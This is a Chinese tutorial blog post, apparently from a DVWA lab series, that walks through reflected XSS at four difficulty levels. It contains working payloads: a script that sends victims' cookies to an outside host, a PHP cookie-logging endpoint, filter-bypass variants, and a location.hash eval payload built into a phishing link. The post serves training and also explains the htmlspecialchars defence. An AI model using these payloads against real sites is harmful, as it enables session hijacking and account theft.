XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。

XSS 大致分成三种类型(白帽子讲web安全):

  • 反射型,就是本文的内容。
  • 存储型,在这篇文章会介绍。
  • DOM 型,如果用是否会存储在服务器上区分的话,DOM型也是反射型。但比较特殊,一般会单独拿出来讨论的,在这里会讨论到

低级

功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入 <script>alert(1)</script>

这是因为,php 输出已经变成了,'<pre>Hello <script>alert(1)</script></pre>' 然后输出到页面时,直接运行 <script>alert(1)</script> 这就是 XSS,原本这个地方应该是输入数据的,但是却变成运行代码了。 接下来 hacker 再作尝试,它写了这样一个文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而对应www.a.com/index.php的代码是这样,目的是记录发送过来的 cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

然后再在输出框中输入 <script src="//www.a.com/test.js"></script>

。。。

就会直接将你的 cookies 直接发送到 a.com

有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击这样的连接就Ok了 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<script+src%3D"%2F%2Fwww.a.com%2Ftest.js"><%2Fscript>#

比如:

中级

中级代码意识到会有人使用 script 的注入方式,于是就想将 script 标签去掉

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>

。。。还是被注入了。

还可以输入 <scr<script>ipt src="//www.a.com/test.js"></script> 之类

高级

高级代码,使用 preg_replace 函数,无论 script 大小写如何变化也会删除

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

所以可以采用不使用 script 的方式。

比如利用 img 的 onerror 函数 ,意思是说,如果图片的地址是错误的,就执行alert(1)

但如果直接在 onerror 函数中写注入的代码又很有可能被那个正则表达式替换掉的。

所以要通过其他方式绕过这个正则替换,比如利用 location.hash

这是什么东西?

url 中 # 号后面的东西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般会用来做单页面路由。这个东西没有长度限制而且不会被传到后台的

所以,可以这样,<img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在构造 url 就可以放心把代码放在 #号后面了。

所以点击下面连接就会偷掉你的cookies了(要复制黏贴)

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement('img');img.src='http://www.a.com/?cookies='+escape(document.cookie);document.body.appendChild(img)

不可能

不可能级别添加了 anti-token 防御机制,和htmlseecialchars函数来防御

<?php 

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>

htmlseecialchars 函数作用是什么?来探讨一下

输入上一级的注入语句

看 dom 的元素,也看不出什么

再看看请求返回的什么

看到了吗,那个函数将 < " 等符号转义了

DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting的更多相关文章

  1. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  2. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  3. 跨站脚本攻击XXS(Cross Site Scripting)修复方案

    今天突然发现,网站被主页莫名奇妙的出现了陌生的广告. 通过排查发现是跨站脚本攻击XXS(Cross Site Scripting).以下为解决方案. 漏洞类型: Cross Site Scriptin ...

  4. DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting

    反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...

  5. DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery

    这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...

  6. DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks

    新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 " ...

  7. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  8. DVWA 黑客攻防演练(八)SQL 注入 SQL Injection

    web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...

  9. DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA

    之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...

随机推荐

  1. 解决 Vue 动态生成 el-checkbox 点击无法赋值问题

    博客地址:https://ainyi.com/68 最近遇到一个问题,在一个页面需要动态渲染页面内的表单,其中包括 checkbox 表单类型,并且使用 Element 组件 UI 时,此时 v-mo ...

  2. 深度学习之Numpy整理

    一.Numpy介绍.为什么要用Numpy 1.Numpy介绍 Numpy是Python的一个扩展包,语法和Matlab有很多相似之处.它支持高维数组和矩阵运算,也提供了许多数组和矩阵运算的函数.另外, ...

  3. .Net Project 常规结构

    目录:一个.NET网站的成长历程 在个人的日常工作和学习中,接触到不少的项目,这些项目结构大同小异,其结构的核心思想无外乎“分层“. 分层?从字面上理解,看似简单,实则不然.这需要从多个维度去看待这个 ...

  4. ASP.NET/MVC/Core的HTTP请求流程

    ASP.NET HTTP管道(Pipeline)模型 1. 先讲一点,再深刻思考 一般我们都在写业务代码,优化页面,优化逻辑之间内徘徊.也许我们懂得HTTP,HTTPS的GET,POST,但是我们大部 ...

  5. java工作流引擎Jflow流程事件和流程节点事件设置

    流程实例的引入和设置 关键词: 开源工作流引擎  Java工作流开发  .net开源工作流引擎   流程事件 工作流节点事件 应用场景: 在一些复杂的业务逻辑流程中需要在某个节点或者是流程结束后做一些 ...

  6. MIP开发教程(一) MIP-CLI工具安装与环境部署

    依赖安装 安装 MIP-CLI 创建开发文件结构 1. 依赖安装 MIP-CLI 使用 NPM 安装,依赖 node 环境: node 安装-windows node 安装-mac MIP-CLI 开 ...

  7. 积极拥抱.NET Core开源社区

    潘正磊在上海的Tech Summit 2018 大会上给我们的.NET Core以及开源情况带来了最新信息. .Net Core 开源后取得了更加快速的发展,目前越活跃用户高达400万人,每月新增开发 ...

  8. javascript面向对象理解的补充

    <html> <head> <title>js inherit demo</title> <meta http-equiv="pragm ...

  9. 3. [leetcode] Longest Substring Without Repeating Characters

    Given a string, find the length of the longest substring without repeating characters. Examples Give ...

  10. javascript中apply、call和bind的区别及方法详解

    文章目录   apply.call apply.call 区别 apply.call实例 数组之间追加 获取数组中的最大值和最小值 验证是否是数组(前提是toString()方法没有被重写过) 类(伪 ...